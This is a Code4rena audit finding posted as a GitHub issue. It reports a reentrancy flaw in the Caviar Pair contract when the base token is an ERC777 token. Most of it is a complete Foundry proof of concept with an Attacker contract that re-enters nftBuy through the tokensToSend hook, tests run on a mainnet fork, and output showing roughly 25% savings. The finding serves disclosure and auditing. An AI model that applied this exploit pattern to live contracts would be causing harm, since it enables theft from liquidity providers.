Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Manipulate pair price by reentrancy attack while the base token is an ERC777 token #211

Closed
code423n4 opened this issue Dec 18, 2022 · 3 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-343 satisfactory satisfies C4 submission criteria; eligible for awards upgraded by judge Original issue severity upgraded from QA/Gas by judge

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L172

Vulnerability details

Impact

The pair contract is susceptible to reentrancy attack while the base token is an ERC777 token such as imBTC. An attacker can exploit it to save significant cost for buying NFT or fractionalToken.

Proof of Concept

The following test case is based on fork of Ethereum mainnet at height 16205002.
The pair consists of BAYC and imBTC, and the initial supply of the pool is 10 imBTC and 10 BAYC NFTs.
And the attacker want to buy 5 NFTs.
We can see, by reentrancy attack, the attacker can save about 25% cost than normal buy.

Full test script

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "openzeppelin/token/ERC777/ERC777.sol";
import "openzeppelin/token/ERC777/IERC777Sender.sol";
import "solmate/tokens/ERC20.sol";
import "solmate/tokens/ERC721.sol";
import "../src/Caviar.sol";
import "../src/Pair.sol";
import "./shared/mocks/MockERC721.sol";

contract Attacker is IERC777Sender, ERC721TokenReceiver {
    uint public toId;
    uint public currentId;
    Pair public pair;

    function buy(Pair _pair, uint _fromId, uint _toId) external {
        pair = _pair;
        currentId = _fromId;
        toId = _toId;
        ERC20(_pair.baseToken()).approve(address(_pair), type(uint).max);
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = currentId;
        pair.nftBuy(tokenIds, type(uint256).max);
    }

    function tokensToSend(
        address,
        address,
        address,
        uint256,
        bytes calldata,
        bytes calldata
    ) external {
        if (currentId >= toId) return;
        ++currentId;
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = currentId;
        pair.nftBuy(tokenIds, type(uint256).max);
    }
}


contract ReentrancyToManipulatePrice is Test {
    uint256 public activeFork;
    ERC777 public imBTC = ERC777(0x3212b29E33587A00FB1C83346f5dBFA69A458923);
    address public rich = 0x3b938E9525e14361091ee464D8AceC291b3caE50;
    IERC1820Registry public constant _ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
    bytes32 public constant _TOKENS_SENDER_INTERFACE_HASH = keccak256("ERC777TokensSender");
    Attacker public attacker;
    address public user = address(0x5678);
    Pair public pair;
    Caviar public caviar;
    MockERC721 public bayc;

    function setUp() public virtual {
        activeFork = vm.createSelectFork("https://rpc.ankr.com/eth", 16205002);
        caviar = new Caviar();
        bayc = new MockERC721("yeet", "YEET");
        pair = caviar.create(address(bayc), address(imBTC), bytes32(0));
        assertTrue(address(pair) != address(0), "Should have deployed pair");
        attacker = new Attacker();

        vm.startPrank(rich);
        imBTC.transfer(address(attacker), 100e8);
        imBTC.transfer(user, 100e8);
        vm.stopPrank();
        assertEq(imBTC.balanceOf(address(attacker)), 100e8);
        assertEq(imBTC.balanceOf(user), 100e8);

        uint256[] memory tokenIds = new uint256[](10);
        for (uint i = 1; i <= 10; ++i) {
            bayc.mint(user, i);
            tokenIds[i-1] = i;
        }
        bytes32[][] memory proofs = new bytes32[][](0);
        vm.startPrank(user);
        imBTC.approve(address(pair), type(uint256).max);
        bayc.setApprovalForAll(address(pair), true);
        pair.nftAdd(10e8, tokenIds, 0, proofs);
        vm.stopPrank();
        assertEq(imBTC.balanceOf(address(pair)), 10e8);
        assertEq(ERC20(pair).balanceOf(address(pair)), 10e18);

        for (uint i = 11; i <= 20; ++i) {
            bayc.mint(address(attacker), i);
        }

        vm.label(address(imBTC), "imBTC");
        vm.label(address(caviar), "caviar");
        vm.label(address(bayc), "bayc");
        vm.label(address(pair), "pair");
        vm.label(address(attacker), "attacker");
    }

    function testSingleNormalBuyForFiveNFTs() external {
        uint256 balanceBefore = imBTC.balanceOf(address(attacker));

        uint256[] memory tokenIds = new uint256[](5);
        for (uint i = 1; i <= 5; ++i) {
            tokenIds[i-1] = i;
        }
        vm.startPrank(address(attacker));
        imBTC.approve(address(pair), type(uint256).max);
        pair.nftBuy(tokenIds, type(uint256).max);
        vm.stopPrank();
        uint256 balanceAfter = imBTC.balanceOf(address(attacker));
        uint256 cost = balanceBefore - balanceAfter;
        assertTrue(cost > 10e8);
        console.log("imBTC cost", cost);
    }

    function testFiveNormalBuysForOneNFTEachTime() external {
        uint256 balanceBefore = imBTC.balanceOf(address(attacker));

        vm.prank(address(attacker));
        imBTC.approve(address(pair), type(uint256).max);

        for (uint i = 1; i <= 5; ++i) {
            uint256[] memory tokenIds = new uint256[](1);
            tokenIds[0] = i;
            vm.prank(address(attacker));
            pair.nftBuy(tokenIds, type(uint256).max);
        }
        uint256 balanceAfter = imBTC.balanceOf(address(attacker));
        uint256 cost = balanceBefore - balanceAfter;
        assertTrue(cost > 10e8);
        console.log("imBTC cost", cost);
    }

    function testFiveReentrancyBuysForOneNFTEachTime() external {
        vm.prank(address(attacker));
        _ERC1820_REGISTRY.setInterfaceImplementer(address(attacker),
            _TOKENS_SENDER_INTERFACE_HASH, address(attacker));

        uint256 balanceBefore = imBTC.balanceOf(address(attacker));
        uint256 baycBefore = bayc.balanceOf(address(attacker));
        attacker.buy(pair, 1, 5);
        uint256 baycAfter = bayc.balanceOf(address(attacker));
        assertEq(baycAfter - baycBefore, 5);
        uint256 balanceAfter = imBTC.balanceOf(address(attacker));
        uint256 cost = balanceBefore - balanceAfter;
        assertTrue(cost < 7.5e8);
        console.log("imBTC cost ", cost);
    }
}

Put it into a new ReentrancyToManipulatePrice.t.sol file of test directory and run

forge test -vv

Related output

Running 3 tests for test/ReentrancyToManipulatePrice.t.sol:ReentrancyToManipulatePrice
[PASS] testFiveNormalBuysForOneNFTEachTime() (gas: 320729)
Logs:
  imBTC cost 1003888458

[PASS] testFiveReentrancyBuysForOneNFTEachTime() (gas: 413580)
Logs:
  imBTC cost  747878554

[PASS] testSingleNormalBuyForFiveNFTs() (gas: 192037)
Logs:
  imBTC cost 1003009027

Test result: ok. 3 passed; 0 failed; finished in 674.53ms

Tools Used

foundry

Recommended Mitigation Steps

Add reentrancy protection for buy() function.

@code423n4 code423n4 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Dec 18, 2022
code423n4 added a commit that referenced this issue Dec 18, 2022
@c4-judge
Copy link
Contributor

berndartmueller marked the issue as duplicate of #343

C4-Staff added a commit that referenced this issue Jan 6, 2023
@c4-judge c4-judge added 3 (High Risk) Assets can be stolen/lost/compromised directly upgraded by judge Original issue severity upgraded from QA/Gas by judge and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value labels Jan 13, 2023
@c4-judge
Copy link
Contributor

berndartmueller changed the severity to 3 (High Risk)

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Jan 13, 2023
@c4-judge
Copy link
Contributor

berndartmueller marked the issue as satisfactory

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-343 satisfactory satisfies C4 submission criteria; eligible for awards upgraded by judge Original issue severity upgraded from QA/Gas by judge
Projects
None yet
Development

No branches or pull requests

2 participants